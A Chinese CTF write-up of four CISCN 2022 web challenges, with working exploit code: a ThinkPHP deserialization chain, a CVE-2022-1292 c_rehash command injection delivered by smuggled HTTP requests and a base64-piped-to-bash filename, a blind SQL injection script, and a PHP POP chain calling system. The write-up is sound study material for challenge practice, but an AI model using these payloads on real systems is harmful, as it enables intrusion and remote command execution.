当前位置:网站首页>[2022 CISCN]初赛 web题目复现
[2022 CISCN]初赛 web题目复现
2022-07-07 03:48:00 【Snakin_ya】
ezpop
源码泄露www.zip,用网上的链子直接打
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag.txt"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
online_crt
考点:
CVE-2022-1292
SSRF
项目分析
项目后端为python+go,其中python部署在外网,go通过python转发到内网
先看python,一共有四个路由:
/为主界面/getcrt生成一个x509证书/createlink调用c_rehash创建证书链接/proxy通过代理访问go内网服务

再来看go,有一个admin路由,用以重命名证书文件

解题
题目的考点为CVE-2022-1292,是c_rehash的一个命令注入漏洞
c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接
我们看到漏洞的commit:
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split

这里没有过滤反引号就直接将文件名拼接到了命令中,那么我们在文件名中添加反引号即可执行任意命令
向上追溯可以发现:

在执行命令前函数会检查文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查
漏洞利用条件
- 执行
c_rehash的目标目录文件可控 - 文件后缀符合要求
- 文件内容必须包含证书或者吊销列表
- 文件名可控
题目中生成证书功能可以创建一个满足要求的文件,那么我们还需要对文件名进行修改
看到内网go部分:
为了实现可控的文件名,我们需要调用go的重命名功能,go的路由在重命名前有两个校验c.Request.URL.RawPath != "" && c.Request.Host == "admin"
我们需要绕过这两个验证
url注入http头
Request.Host为请求的host头,在python中请求包中host头是固定的(test_host_api),这里我们需要想办法让go后端认为host值为admin
python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤,所以我们可以在uri注入一个host头来替换原本的头,注入之后数据包变成:
GET / HTTP /1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 Connection: close HTTP /1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: close
这样就可以绕过host头检验
go的RawPath特性
对于Request.URL.RawPath检验,我们通过阅读go net库的源码,发现go语言中会对原始url进行解码(反转义),如果解码后再编码的url和原始url不同,那么RawPath会被设置为原始url,反之会被设置为空

也就是说为了避免RawPath被置空,我们只需将url中任意一个/进行url编码即可
整体流程
访问 /getcrt 路由 生成一个证书 返回证书路径
static/crt/62a5726a-352a-4538-b236-1972b59ccf1e.crt
请求 /proxy 修改证书名为恶意文件名
这一步需要构造HTTP包注入多个HTTP连接来改HOST并且URL里面有个/要改成%2f绕过检查访问重命名接口
利用CVE构造命令注入Payloadm,发包改名
`echo "Y2F0IC9mbGFnID4gZmxhZw==" | base64 -d | bash`.crt发包:
GET /proxy HTTP/1.1 Host: 1.14.71.254:28536 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5FhbXcy21j5NxtoY Content-Length: 478 ------WebKitFormBoundary5FhbXcy21j5NxtoY Content-Disposition: form-data; name="uri" / HTTP/1.1 Host: admin Connection: keep-alive GET /admin%2frename?oldname=62a5726a-352a-4538-b236-1972b59ccf1e.crt&newname=%60%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%49%44%34%67%5a%6d%78%68%5a%77%3d%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%60%2e%63%72%74 HTTP/1.1 Host: admin Connection: close GET / ------WebKitFormBoundary5FhbXcy21j5NxtoY--
访问createlink接口,触发命令注入,将flag写入
static/crt/flag
最后访问即可
ezpentest
SQL注入
首先进入题目是一个登录框

题目给出了waf:
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
这一部分内容和虎符杯类似,我们构造payload
0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'
简单分析一下:
利用like去正则匹配password这一列的数据,如果匹配到就返回
9223372036854775807+1这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error+''是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是~0,也就是说这个payload其实就是~0+1utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的case用来解决优先级问题
所以构造脚本:
import requests
import string
payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
#这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出
list = string.ascii_letters + string.digits + '^$!_%@&'
proxies={
'http':'http://127.0.0.1:8080'
} #这里是可以通过走代理来看下自己打进去的payload有没有啥问题。
url = 'http://1.14.71.254:28706/login.php'
j=''
while 1:
for i in list:
if (i in '%_'): #这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
i = "\\" + i
now_payload=payload.format(j+i)
date={
'password': now_payload,
'username': 'aaa'
}
print(now_payload)
re = requests.post(url,data=date)
print(re.text)
if re.status_code==500:
print("ok")
j+=i
print(j)
break
# 最后得到的账号密码
# [email protected]$%!!
# [email protected]!!
解混淆
登陆后发现混淆代码,提示有一个1Nd3x_Y0u_N3v3R_Kn0W.php

直接访问得到SomeClass.php的内容
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
而主页面本身是一段混淆之后的代码,查看源码发现是由phpjiami进行混淆的
https://github.com/wenshui2008/phpjiami_decode
由于phpjiami解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密
<?php
$url ="http://1.14.71.254:28706/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "PHPSESSID=00110b2656dbd4b5dd347f793e516da1");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>
解密之后的文件为:
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
POP链构造
入口点在class E,die方法中是字符串处理,让a为对象会触发__toString方法

接下来触发顺序为
B::__toString->a::see

在类A中,我们只需要令b为原生类,a参数和b参数都是可控的就可以rce了
链子的触发点就是1Nd3x_Y0u_N3v3R_Kn0W.php文件,但是如果我们想把可以rce的文件包含进来,就要创建一个SomeClass类,而这里对some进行了过滤。
我们只需要让include $classname.".php"将文件包含的同时直接进入那个destrust方法销毁,这里可以利用gc回收机制。我们将数组索引置为0,这样就会失去上一个对象的引用从而进入destrust。
还有一种方法可以提前进入destrust,利用fastdestrust,传一个损坏的序列化数据,比如O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;,把后面 }的符号去掉就行,但是这里有对序列化数据格式正确与否进行校验所以无法使用。
POC:
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
class SomeClass{
public $a;
}
$e = new E();
$a = new A();
$b = new B();
$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();//换其他原生类都行error啥的都可以
$arr->a = "system";
$arr->b = "cat /nssctfflag";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
得到flag:

cmdbrowser
暂无复现途径
参考:
https://mp.weixin.qq.com/s/vTF9ArXKp4RCFQPl6mOGkA
https://rce.moe/archives/
边栏推荐
- 1090: integer power (multi instance test)
- 聊聊异步编程的 7 种实现方式
- 修改Jupyter Notebook文件路径
- OOM(内存溢出)造成原因及解决方案
- Blue Bridge Cup Birthday candles (violence)
- Flexible layout (II)
- Music | cat and mouse -- classic not only plot
- js小练习----分时提醒问候、表单密码显示隐藏效果、文本框焦点事件、关闭广告
- About some details of final, I have something to say - learn about final CSDN creation clock out from the memory model
- gatk4中的interval是什么??
猜你喜欢

Deep learning Flower Book + machine learning watermelon book electronic version I found

Introduction to abnova's in vitro mRNA transcription workflow and capping method

Kuboard无法发送邮件和钉钉告警问题解决

一、Go知识查缺补漏+实战课程笔记 | 青训营笔记

Outsourcing for four years, abandoned

Flexible layout (I)

transform-origin属性详解

The metauniverse of the platofarm farm continues to expand, with Dao governance as the core

About binary cannot express decimals accurately

Stockage et pratique des données en langage C (haut niveau)
随机推荐
Reflection (II)
4、 High performance go language release optimization and landing practice youth training camp notes
Pass parent component to child component: props
freeswitch拨打分机号源代码跟踪
毕设-基于SSM大学生兼职平台系统
How to reduce inventory with high concurrency on the Internet
FullGC问题分析及解决办法总结
ROS2规划系统plansys2简单的例子
Circulating tumor cells - here comes abnova's solution
按键精灵采集学习-矿药采集及跑图
Détailler le bleu dans les tâches de traduction automatique
"Xiaodeng in operation and maintenance" meets the compliance requirements of gdpr
Kuboard can't send email and nail alarm problem is solved
Blue Bridge Cup Birthday candles (violence)
修改Jupyter Notebook文件路径
2、 Concurrent and test notes youth training camp notes
Release notes of JMeter version 5.5
Flutter riverpod is comprehensively and deeply analyzed. Why is it officially recommended?
Apache AB stress test
云备份项目